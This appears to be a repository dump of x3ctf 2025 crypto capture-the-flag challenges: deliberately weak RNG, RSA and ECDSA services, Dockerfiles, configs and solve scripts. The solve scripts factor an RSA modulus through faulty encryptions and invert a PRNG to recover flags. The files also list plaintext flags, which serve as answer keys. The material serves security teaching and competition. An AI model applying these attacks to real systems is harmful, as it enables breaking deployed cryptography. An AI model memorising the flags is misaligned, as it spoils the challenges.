10 |
11 |
12 | def mix64(z0):
13 | z1 = shiftxormult(33, 0xff51afd7ed558ccd, z0)
14 | z2 = shiftxormult(33, 0xc4ceb9fe1a85ec53, z1)
15 | return shiftxor(33, z2)
16 |
17 |
18 | def unmix64(z3):
19 | z2 = shiftxor(33, z3)
20 | z1 = shiftxor(33, (pow(0xc4ceb9fe1a85ec53, -1, m) * z2) % m)
21 | return shiftxor(33, (pow(0xff51afd7ed558ccd, -1, m) * z1) % m)
22 |
23 |
24 | def get_gamma(a, b):
25 | a = unmix64(a)
26 | b = unmix64(b)
27 | return (b - a) % m
28 |
29 |
30 | ct = bytes.fromhex('070dbb36be2b25fadda85ba68d791dd8ec4626d81ebd338cb13a4f318d98d7102bddd0fd2f22946138e4401fe006e4eb318cabfb034adfac4163e595f2442c7b')
31 | x = 7283898632471611723
32 | y = 9620209372472646369
33 | gamma = get_gamma(x, y)
34 |
35 | ks = [mix64((unmix64(x) - (i + 1) * gamma) % m) % 256 for i in range(len(ct))][::-1]
36 | flag = bytes([a ^ b for a, b in zip(ct, ks)])
37 | print(flag.decode())
--------------------------------------------------------------------------------
/crypto/babyrng/challenge-src:
--------------------------------------------------------------------------------
1 | challenge-handout
--------------------------------------------------------------------------------
/crypto/babyrng/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: babyrng
5 | namespace: berg
6 | spec:
7 | categories:
8 | - mvm
9 | - crypto
10 |
11 | difficulty: easy # Must be one of baby/easy/medium/hard/leet
12 | author: ksaweryr
13 | allowOutboundTraffic: false
14 | flag: MVM{4_M0n4D_15_jU5t_4_m0N01d_1n_Th3_c4t3G0Ry_0f_3ND0FUNCT0R5_:D}
15 | flagFormat: MVM{...}
16 | description: |
17 | A flag has been stolen, destroyed and buried underground in a random location.
18 | System.Random was used, so it should be impossible to recover the flag... right?
19 | attachments:
20 | - fileName: babyrng.tar.gz
21 | downloadUrl: /handouts/babyrng.tar.gz
22 |
--------------------------------------------------------------------------------
/crypto/curved-mvm/challenge-handout:
--------------------------------------------------------------------------------
1 | challenge-src
--------------------------------------------------------------------------------
/crypto/curved-mvm/challenge-solution/server.py:
--------------------------------------------------------------------------------
1 | ../challenge-src/server.py
--------------------------------------------------------------------------------
/crypto/curved-mvm/challenge-src/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12-alpine AS builder
2 |
3 | RUN apk update --no-cache && apk upgrade --no-cache && apk add socat gmp --no-cache
4 |
5 | RUN apk add gcc gmp-dev musl-dev --no-cache && pip install --target=/app fastecdsa
6 |
7 | FROM python:3.12-alpine
8 |
9 | RUN apk update --no-cache && apk upgrade --no-cache && apk add socat gmp --no-cache
10 |
11 | COPY --from=builder /app /app
12 |
13 | COPY fast.py /app
14 |
15 | WORKDIR /app
16 |
17 | ENTRYPOINT socat tcp-l:1337,fork,reuseaddr exec:"python3 /app/fast.py"
18 |
--------------------------------------------------------------------------------
/crypto/fastcrypto/challenge-handout/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.18)
2 | project(nttmul)
3 |
4 | find_package(Python 3.12
5 | REQUIRED COMPONENTS Interpreter Development.Module
6 | OPTIONAL_COMPONENTS Development.SABIModule)
7 |
8 | add_subdirectory(nanobind)
9 | nanobind_add_module(
10 | nttmul
11 | # STABLE_ABI
12 | # NB_STATIC
13 | nttmul.cpp
14 | )
15 |
16 | # install(TARGETS nttmul LIBRARY DESTINATION .)
17 |
--------------------------------------------------------------------------------
/crypto/fastcrypto/challenge-handout/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | cmake -S . -B build
3 | cmake --build build
4 | cp build/nttmul*.so .
5 |
--------------------------------------------------------------------------------
/crypto/fastcrypto/challenge-solution/solve.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import long_to_bytes as ltb
2 | from math import gcd
3 | from pwn import *
4 |
5 | if args.REMOTE:
6 | conn = remote('127.0.0.1', 1337)
7 | else:
8 | conn = process(['python3', 'chall.py'])
9 |
10 | conn.recvline()
11 | N = int(conn.recvline().split(b' = ')[1])
12 | e = 0x10001
13 |
14 | # This solution script has about a ~0.006% chance of failing
15 | ctr = 0
16 | while True:
17 | ctr += 1
18 | conn.recvuntil(b': ')
19 | conn.sendline(b'2')
20 | data = int(conn.recvline().split(b' = ')[1])
21 | enc = int(conn.recvline().split(b' = ')[1])
22 | correct = pow(data, e, N)
23 | if enc == correct:
24 | continue
25 | p = gcd(enc - correct, N)
26 | if p != 1 and p != N: # p == N has about a ~0.006% chance of happening
27 | break
28 |
29 | print(f'{ctr} encryption queries')
30 |
31 | q = N // p
32 | phi = (p - 1) * (q - 1)
33 | d = pow(e, -1, phi)
34 | conn.recvuntil(b': ')
35 | conn.sendline(b'1')
36 | enc = int(conn.recvline().split(b' = ')[1])
37 | dec = pow(enc, d, N)
38 | conn.sendline(str(dec).encode())
39 |
40 | conn.recvuntil(b' = ')
41 | enc = int(conn.recvline())
42 | flag = pow(enc, d, N)
43 | print(ltb(flag))
44 |
--------------------------------------------------------------------------------
/crypto/fastcrypto/challenge-src/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.18)
2 | project(nttmul)
3 |
4 | find_package(Python 3.12
5 | REQUIRED COMPONENTS Interpreter Development.Module
6 | OPTIONAL_COMPONENTS Development.SABIModule)
7 |
8 | add_subdirectory(nanobind)
9 | nanobind_add_module(
10 | nttmul
11 | # STABLE_ABI
12 | # NB_STATIC
13 | nttmul.cpp
14 | )
15 |
16 | # install(TARGETS nttmul LIBRARY DESTINATION .)
17 |
--------------------------------------------------------------------------------
/crypto/fastcrypto/challenge-src/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12-alpine
2 |
3 | WORKDIR /app
4 |
5 | RUN pip3 install pycryptodome
6 | RUN apk update --no-cache && apk upgrade --no-cache && apk add socat cmake make git build-base --no-cache
7 | RUN git clone https://github.com/wjakob/nanobind && cd nanobind && git checkout 0272db4cfd611902f8cdc534c545973642c1627f && git reset --hard && git submodule update --init --recursive
8 |
9 | COPY SECRET.py /app
10 | COPY chall.py /app
11 | COPY Makefile /app
12 | COPY CMakeLists.txt /app
13 | COPY nttmul.cpp /app
14 | COPY nttmul*.so /app
15 |
16 | RUN make
17 |
18 | ENTRYPOINT socat tcp-l:1337,fork,reuseaddr exec:/app/chall.py
19 |
--------------------------------------------------------------------------------
/crypto/fastcrypto/challenge-src/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | cmake -S . -B build
3 | cmake --build build
4 | cp build/nttmul*.so .
5 |
--------------------------------------------------------------------------------
/crypto/fastcrypto/challenge-src/SECRET.py:
--------------------------------------------------------------------------------
1 | FLAG = b'x3{so_l0ng_and_th4nks_for_all_the_NTT_43274987298472398}'
2 |
--------------------------------------------------------------------------------
/crypto/man_vs_matrix/challenge-handout:
--------------------------------------------------------------------------------
1 | challenge-src
--------------------------------------------------------------------------------
/crypto/man_vs_matrix/challenge-src/challenge.py:
--------------------------------------------------------------------------------
1 | from sage.all import *
2 | from Crypto.Util.number import bytes_to_long
3 |
4 | class RNG:
5 |
6 | def __init__(self, seed):
7 | self.p = next_prime(2**24)
8 | self.F = GF(self.p)
9 | self.M = matrix(self.F, 3,3, [bytes_to_long(seed[i:i+3]) for i in range(0, len(seed), 3)])
10 | self.state = vector(self.F, map(ord, "Mvm"))
11 | self.gen = self.F(2)
12 |
13 | def get_random_num(self):
14 | out = self.M * self.state
15 |
16 | for i in range(len(self.state)):
17 | self.state[i] = self.gen**self.state[i]
18 |
19 | return out * self.state
20 |
21 | flag = b"MVM{???????????????????????????}"
22 | seed = flag[4:-1]
23 |
24 | rng = RNG(seed)
25 | samples = []
26 |
27 | for i in range(9):
28 | samples.append(rng.get_random_num())
29 |
30 | print(f"{samples = }")
31 | # samples = [6192533, 82371, 86024, 4218430, 12259879, 16442850, 6736271, 7418630, 15483781]
32 |
--------------------------------------------------------------------------------
/crypto/man_vs_matrix/challenge.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | apiVersion: berg.norelect.ch/v1
3 | kind: Challenge
4 | metadata:
5 | name: man-vs-matrix
6 | namespace: berg
7 | spec:
8 | categories:
9 | - mvm
10 | - crypto
11 | difficulty: easy
12 | author: alex_hcsc
13 | flag: MVM{l1n34r_fuNcT10n5_4r3_my_f4v}
14 | flagFormat: MVM{...}
15 | description: |
16 | I've just built an RNG algorithm from scratch. Can you break it?
17 | attachments:
18 | - fileName: man_vs_matrix.tar.gz
19 | downloadUrl: /handouts/man_vs_matrix.tar.gz
20 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12-slim
2 |
3 | ENV PYTHONUNBUFFERED=1 \
4 | POETRY_VIRTUALENVS_CREATE=false
5 |
6 | WORKDIR /app
7 |
8 | COPY pyproject.toml poetry.lock ./
9 |
10 | RUN pip install --no-cache-dir poetry \
11 | && poetry config virtualenvs.create false \
12 | && poetry install --only main --no-interaction --no-ansi --no-root \
13 | && apt update \
14 | && apt install -y --no-install-recommends wait-for-it \
15 | && rm -rf /var/lib/apt/lists/*
16 |
17 |
18 | COPY . .
19 |
20 | EXPOSE 8000
21 |
22 | CMD ["fastapi", "run", "./mvmcryption/app.py"]
23 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/crypto/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/crypto/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/db/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from mvmcryption.environ import getenv
4 |
5 | from .db import connect
6 | from .users import Users
7 |
8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD")
9 |
10 | TABLE_QUERY = """
11 | CREATE TABLE IF NOT EXISTS users (
12 | id INTEGER PRIMARY KEY,
13 | username VARCHAR(50) NOT NULL UNIQUE,
14 | email VARCHAR(100) NOT NULL UNIQUE,
15 | password VARCHAR(100) NOT NULL
16 | );
17 | """
18 |
19 |
20 | def initialize() -> None:
21 | with connect() as conn:
22 | conn.executescript(TABLE_QUERY)
23 | try:
24 | Users(conn).create(
25 | username="admin",
26 | email="admin@this-company-luckily-does-not-exist.mvm",
27 | password=ADMIN_PASSWORD,
28 | )
29 | except Exception as e: # maybe it already exists
30 | print(e)
31 |
32 |
33 | __all__ = [
34 | "Users",
35 | "initialize",
36 | ]
37 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/environ.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 |
4 | def getenv(key: str) -> str:
5 | """Get environment variable and raise an error if it is unset."""
6 | if val := os.getenv(key):
7 | return val
8 | msg = "ENV variable %s is required!"
9 | raise OSError(msg % key)
10 |
11 |
12 | IS_DEV = os.getenv("ENV") == "DEV"
13 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/resp.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from fastapi import HTTPException, status
4 |
5 | PERMISSION_DENIED = HTTPException(
6 | status_code=status.HTTP_403_FORBIDDEN,
7 | detail="Permission denied.",
8 | )
9 |
10 |
11 | def not_found(model: object) -> HTTPException:
12 | return HTTPException(
13 | status_code=status.HTTP_404_NOT_FOUND,
14 | detail=f"{model.__name__} not found.",
15 | )
16 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/routers/__init__.py:
--------------------------------------------------------------------------------
1 | from .auth import auth_router as auth
2 | from .crypto import crypto_router as crypto
3 | from .users import users_router as users
4 |
5 | __all__ = [
6 | "auth",
7 | "crypto",
8 | "users",
9 | ]
10 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/mvmcryption/utils.py:
--------------------------------------------------------------------------------
1 | from base64 import urlsafe_b64decode, urlsafe_b64encode
2 |
3 |
4 | def encode(content: bytes | str) -> str:
5 | def _encode():
6 | if isinstance(content, str):
7 | return urlsafe_b64encode(content.encode()).decode()
8 | return urlsafe_b64encode(content).decode()
9 |
10 | return _encode().replace("=", "")
11 |
12 |
13 | def decode(content: str | bytes) -> bytes:
14 | rem = len(content) % 4
15 |
16 | if rem > 0:
17 | try:
18 | content += b"=" * (4 - rem)
19 | except Exception:
20 | content += "=" * (4 - rem)
21 |
22 | if isinstance(content, str):
23 | return urlsafe_b64decode(content.encode())
24 | return urlsafe_b64decode(content)
25 |
26 |
27 | def chunk(stuff: bytes):
28 | """Chunk stuff into 16 byte blocks."""
29 |
30 | assert len(stuff)
31 | assert len(stuff) % 16 == 0
32 | blocks = []
33 | for i in range(0, len(stuff), 16):
34 | blocks.append(stuff[i : i + 16])
35 | return blocks
36 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/pyproject.toml:
--------------------------------------------------------------------------------
1 | [tool.poetry]
2 | name = "mvmcryption"
3 | version = "0.0.0"
4 | description = "much secure"
5 | authors = ["xtea418"]
6 | readme = "README.md"
7 |
8 | [tool.poetry.dependencies]
9 | python = "^3.12"
10 | pycryptodome = "^3.21.0"
11 | pydantic = "^2.10.2"
12 | fastapi = {extras = ["standard"], version = "^0.115.5"}
13 | argon2-cffi = "^23.1.0"
14 | fastecdsa = "^3.0.0"
15 | pwntools = "^4.14.0"
16 |
17 |
18 | [tool.poetry.group.dev.dependencies]
19 | ruff = "^0.9.2"
20 | pytest = "^8.3.4"
21 |
22 | [build-system]
23 | requires = ["poetry-core"]
24 | build-backend = "poetry.core.masonry.api"
25 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-handout/api/tests/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/tests/test_cipher.py:
--------------------------------------------------------------------------------
1 | from random import getrandbits
2 |
3 | import pytest
4 | from Crypto.Util.number import long_to_bytes
5 | from mvmcryption.crypto.cipher import SCBCCipher
6 |
7 |
8 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
9 | @pytest.mark.parametrize("d", [1337, 895])
10 | def test_scbccipher(msg: bytes, d: int):
11 | key = long_to_bytes(d, 16)
12 | ciph = SCBCCipher(key)
13 |
14 | iv = long_to_bytes(getrandbits(128), 16)
15 | ct = ciph.encrypt(msg, iv)
16 |
17 | assert ct
18 | assert msg == ciph.decrypt(ct, iv)
19 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/api/tests/test_ecdsa.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature
3 |
4 |
5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
6 | @pytest.mark.parametrize("d", [1337, 895])
7 | def test_ecdsa(msg: bytes, d: int):
8 | ecdsa = ECDSA(d)
9 | sig = ecdsa.sign(msg)
10 |
11 | assert ecdsa.verify(sig, msg)
12 |
13 |
14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
15 | @pytest.mark.parametrize("d", [1337, 895])
16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int):
17 | ecdsa = ECDSA(d)
18 | sig = ecdsa.sign(msg)
19 | encoded_sig = encode_signature(sig)
20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg)
21 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-handout/compose.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | # local only!
3 |
4 | services:
5 | api:
6 | build:
7 | context: ./api
8 | ports:
9 | - "8000:8000"
10 | environment:
11 | - DB_PATH=/tmp/database.db
12 | - ADMIN_PASSWORD=somenotbrutablepassword
13 | - FLAG=MVM{wh0444444_f4k3_fl4g_g0_brrrrrr}
14 | - ENV=DEV
15 | command: ["fastapi", "dev", "./mvmcryption/app.py", "--host", "0.0.0.0"]
16 | volumes:
17 | - ./api:/app
18 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-solution/solve.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | rm -rf tmp
4 |
5 | cp -r ../challenge-src/api tmp
6 | cp solve.py tmp
7 |
8 | cd tmp && git clone https://github.com/jvdsn/crypto-attacks/ ./cryptoattacks
9 |
10 | python3 ./solve.py
11 |
12 | cd ..
13 |
14 | rm -rf tmp
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12-slim
2 |
3 | ENV PYTHONUNBUFFERED=1 \
4 | POETRY_VIRTUALENVS_CREATE=false
5 |
6 | WORKDIR /app
7 |
8 | COPY pyproject.toml poetry.lock ./
9 |
10 | RUN pip install --no-cache-dir poetry \
11 | && poetry config virtualenvs.create false \
12 | && poetry install --only main --no-interaction --no-ansi --no-root \
13 | && apt update \
14 | && apt install -y --no-install-recommends wait-for-it \
15 | && rm -rf /var/lib/apt/lists/*
16 |
17 |
18 | COPY . .
19 |
20 | EXPOSE 8000
21 |
22 | CMD ["fastapi", "run", "./mvmcryption/app.py"]
23 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/crypto/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/crypto/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/db/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from mvmcryption.environ import getenv
4 |
5 | from .db import connect
6 | from .users import Users
7 |
8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD")
9 |
10 | TABLE_QUERY = """
11 | CREATE TABLE IF NOT EXISTS users (
12 | id INTEGER PRIMARY KEY,
13 | username VARCHAR(50) NOT NULL UNIQUE,
14 | email VARCHAR(100) NOT NULL UNIQUE,
15 | password VARCHAR(100) NOT NULL
16 | );
17 | """
18 |
19 |
20 | def initialize() -> None:
21 | with connect() as conn:
22 | conn.executescript(TABLE_QUERY)
23 | try:
24 | Users(conn).create(
25 | username="admin",
26 | email="admin@this-company-luckily-does-not-exist.mvm",
27 | password=ADMIN_PASSWORD,
28 | )
29 | except Exception as e: # maybe it already exists
30 | print(e)
31 |
32 |
33 | __all__ = [
34 | "Users",
35 | "initialize",
36 | ]
37 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/environ.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 |
4 | def getenv(key: str) -> str:
5 | """Get environment variable and raise an error if it is unset."""
6 | if val := os.getenv(key):
7 | return val
8 | msg = "ENV variable %s is required!"
9 | raise OSError(msg % key)
10 |
11 |
12 | IS_DEV = os.getenv("ENV") == "DEV"
13 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/resp.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from fastapi import HTTPException, status
4 |
5 | PERMISSION_DENIED = HTTPException(
6 | status_code=status.HTTP_403_FORBIDDEN,
7 | detail="Permission denied.",
8 | )
9 |
10 |
11 | def not_found(model: object) -> HTTPException:
12 | return HTTPException(
13 | status_code=status.HTTP_404_NOT_FOUND,
14 | detail=f"{model.__name__} not found.",
15 | )
16 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/routers/__init__.py:
--------------------------------------------------------------------------------
1 | from .auth import auth_router as auth
2 | from .crypto import crypto_router as crypto
3 | from .users import users_router as users
4 |
5 | __all__ = [
6 | "auth",
7 | "crypto",
8 | "users",
9 | ]
10 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/mvmcryption/utils.py:
--------------------------------------------------------------------------------
1 | from base64 import urlsafe_b64decode, urlsafe_b64encode
2 |
3 |
4 | def encode(content: bytes | str) -> str:
5 | def _encode():
6 | if isinstance(content, str):
7 | return urlsafe_b64encode(content.encode()).decode()
8 | return urlsafe_b64encode(content).decode()
9 |
10 | return _encode().replace("=", "")
11 |
12 |
13 | def decode(content: str | bytes) -> bytes:
14 | rem = len(content) % 4
15 |
16 | if rem > 0:
17 | try:
18 | content += b"=" * (4 - rem)
19 | except Exception:
20 | content += "=" * (4 - rem)
21 |
22 | if isinstance(content, str):
23 | return urlsafe_b64decode(content.encode())
24 | return urlsafe_b64decode(content)
25 |
26 |
27 | def chunk(stuff: bytes):
28 | """Chunk stuff into 16 byte blocks."""
29 |
30 | assert len(stuff)
31 | assert len(stuff) % 16 == 0
32 | blocks = []
33 | for i in range(0, len(stuff), 16):
34 | blocks.append(stuff[i : i + 16])
35 | return blocks
36 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/pyproject.toml:
--------------------------------------------------------------------------------
1 | [tool.poetry]
2 | name = "mvmcryption"
3 | version = "0.0.0"
4 | description = "much secure"
5 | authors = ["xtea418"]
6 | readme = "README.md"
7 |
8 | [tool.poetry.dependencies]
9 | python = "^3.12"
10 | pycryptodome = "^3.21.0"
11 | pydantic = "^2.10.2"
12 | fastapi = {extras = ["standard"], version = "^0.115.5"}
13 | argon2-cffi = "^23.1.0"
14 | fastecdsa = "^3.0.0"
15 | pwntools = "^4.14.0"
16 |
17 |
18 | [tool.poetry.group.dev.dependencies]
19 | ruff = "^0.9.2"
20 | pytest = "^8.3.4"
21 |
22 | [build-system]
23 | requires = ["poetry-core"]
24 | build-backend = "poetry.core.masonry.api"
25 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-1/challenge-src/api/tests/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/tests/test_cipher.py:
--------------------------------------------------------------------------------
1 | from random import getrandbits
2 |
3 | import pytest
4 | from Crypto.Util.number import long_to_bytes
5 | from mvmcryption.crypto.cipher import SCBCCipher
6 |
7 |
8 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
9 | @pytest.mark.parametrize("d", [1337, 895])
10 | def test_scbccipher(msg: bytes, d: int):
11 | key = long_to_bytes(d, 16)
12 | ciph = SCBCCipher(key)
13 |
14 | iv = long_to_bytes(getrandbits(128), 16)
15 | ct = ciph.encrypt(msg, iv)
16 |
17 | assert ct
18 | assert msg == ciph.decrypt(ct, iv)
19 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/api/tests/test_ecdsa.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature
3 |
4 |
5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
6 | @pytest.mark.parametrize("d", [1337, 895])
7 | def test_ecdsa(msg: bytes, d: int):
8 | ecdsa = ECDSA(d)
9 | sig = ecdsa.sign(msg)
10 |
11 | assert ecdsa.verify(sig, msg)
12 |
13 |
14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
15 | @pytest.mark.parametrize("d", [1337, 895])
16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int):
17 | ecdsa = ECDSA(d)
18 | sig = ecdsa.sign(msg)
19 | encoded_sig = encode_signature(sig)
20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg)
21 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-1/challenge-src/compose.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | # local only!
3 |
4 | services:
5 | api:
6 | build:
7 | context: ./api
8 | ports:
9 | - "8000:8000"
10 | environment:
11 | - DB_PATH=/tmp/database.db
12 | - ADMIN_PASSWORD=somenotbrutablepassword
13 | - FLAG=MVM{wh0444444_f4k3_fl4g_g0_brrrrrr}
14 | - ENV=DEV
15 | command: ["fastapi", "dev", "./mvmcryption/app.py", "--host", "0.0.0.0"]
16 | volumes:
17 | - ./api:/app
18 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12-slim
2 |
3 | ENV PYTHONUNBUFFERED=1 \
4 | POETRY_VIRTUALENVS_CREATE=false
5 |
6 | WORKDIR /app
7 |
8 | COPY pyproject.toml poetry.lock ./
9 |
10 | RUN pip install --no-cache-dir poetry \
11 | && poetry config virtualenvs.create false \
12 | && poetry install --only main --no-interaction --no-ansi --no-root \
13 | && apt update \
14 | && apt install -y --no-install-recommends wait-for-it \
15 | && rm -rf /var/lib/apt/lists/*
16 |
17 |
18 | COPY . .
19 |
20 | EXPOSE 8000
21 |
22 | CMD ["fastapi", "run", "./mvmcryption/app.py"]
23 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/crypto/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/crypto/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/db/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from mvmcryption.environ import getenv
4 |
5 | from .db import connect
6 | from .users import Users
7 |
8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD")
9 |
10 | TABLE_QUERY = """
11 | CREATE TABLE IF NOT EXISTS users (
12 | id INTEGER PRIMARY KEY,
13 | username VARCHAR(50) NOT NULL UNIQUE,
14 | email VARCHAR(100) NOT NULL UNIQUE,
15 | password VARCHAR(100) NOT NULL
16 | );
17 | """
18 |
19 |
20 | def initialize() -> None:
21 | with connect() as conn:
22 | conn.executescript(TABLE_QUERY)
23 | try:
24 | Users(conn).create(
25 | username="admin",
26 | email="admin@this-company-luckily-does-not-exist.mvm",
27 | password=ADMIN_PASSWORD,
28 | )
29 | except Exception as e: # maybe it already exists
30 | print(e)
31 |
32 |
33 | __all__ = [
34 | "Users",
35 | "initialize",
36 | ]
37 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/environ.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 |
4 | def getenv(key: str) -> str:
5 | """Get environment variable and raise an error if it is unset."""
6 | if val := os.getenv(key):
7 | return val
8 | msg = "ENV variable %s is required!"
9 | raise OSError(msg % key)
10 |
11 |
12 | IS_DEV = os.getenv("ENV") == "DEV"
13 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/resp.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from fastapi import HTTPException, status
4 |
5 | PERMISSION_DENIED = HTTPException(
6 | status_code=status.HTTP_403_FORBIDDEN,
7 | detail="Permission denied.",
8 | )
9 |
10 |
11 | def not_found(model: object) -> HTTPException:
12 | return HTTPException(
13 | status_code=status.HTTP_404_NOT_FOUND,
14 | detail=f"{model.__name__} not found.",
15 | )
16 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/routers/__init__.py:
--------------------------------------------------------------------------------
1 | from .auth import auth_router as auth
2 | from .crypto import crypto_router as crypto
3 | from .users import users_router as users
4 |
5 | __all__ = [
6 | "auth",
7 | "crypto",
8 | "users",
9 | ]
10 |
